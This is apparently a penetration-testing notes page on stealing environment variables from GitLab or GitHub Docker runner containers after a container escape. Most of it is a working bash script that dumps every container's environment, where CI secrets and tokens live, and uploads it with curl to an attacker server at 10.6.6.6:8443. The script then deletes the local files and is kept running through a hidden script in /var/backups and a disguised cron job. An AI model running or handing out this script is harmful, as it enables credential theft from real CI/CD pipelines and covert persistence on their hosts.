Skip to main content

Exfiltrate Docker Runner Environment Variables

Scenario

You've exploited a misconfiguration in the GitLab / GitHub runner configuration, or exploited a flaw in the runner script (e.g. command injection) and achieved a reverse shell inside the Docker container that is used to execute the runner job.

You find a means to escape the Docker container onto the runner host itself (e.g. privileged Docker container mounting host file system).

Exfiltration

sudo python3 http_upload.py --port 8443 --tls --output-directory "$PWD"

Use the HTTP method on attacker machine to catch environment variables

If socat is installed on the target runner, could do a fileless transfer over TLS as well.
https://notes.benheater.com/books/file-transfers-and-data-exfiltration/page/socat#bkmrk-%C2%A0-7

#!/usr/bin/env /usr/bin/bash
# Uses the "tracked.txt" file to log container IDs
# If container ID is already in "tracked.txt" skip
# In order to de-duplicate environment variables / jobs

export HTTPSRV="https://10.6.6.6:8443"
export LOGS_DIR="/tmp/.dockerlogs"
[ -d "$LOGS_DIR" ] || mkdir -p "$LOGS_DIR"

/usr/bin/docker ps --format='{{.ID}}' | /usr/bin/xargs -P 10 -I {} /usr/bin/bash -c '
    CONTAINER_ID="$1"
    TRACKED_FILE="${LOGS_DIR}/tracked.txt"

    if ! /usr/bin/grep -q "$CONTAINER_ID" "$TRACKED_FILE" 2>/dev/null; then 
        
        CI_JOB_NAME=$(/usr/bin/docker inspect "$CONTAINER_ID" --format="{{json .Config.Env}}" | /usr/bin/jq -r ".[]?" | /usr/bin/grep "^CI_PROJECT_NAME=" | /usr/bin/cut -d "=" -f 2)
        
        [ -z "$CI_JOB_NAME" ] && CI_JOB_NAME="unknown_job"

        LOG_NAME="${CI_JOB_NAME}_$(date +%FT%T%z | sed -E "s/(:|\+)/_/g").env.txt" 
        
        if /usr/bin/docker inspect "$CONTAINER_ID" --format="{{json .Config.Env}}" | /usr/bin/jq -r ".[]?" > "$LOG_NAME" 2>/dev/null; then
            /usr/bin/curl -k -s -F "file=@$LOG_NAME" "$HTTPSRV" >/dev/null 2>&1
            /usr/bin/echo "$CONTAINER_ID" >> "$TRACKED_FILE"
            /usr/bin/rm -f "$LOG_NAME"
        fi
    fi
' _ {}

/var/backups/.monitor.sh

cat << 'EOF' >> /etc/cron.d/audit_jobs
@reboot root bash /var/backups/.monitor.sh 2>&1 > /var/backups/.monitor.log
* * * * * root bash /var/backups/.monitor.sh 2>&1 > /var/backups/.monitor.log
EOF

Cron configuration to catch any new CI/CD jobs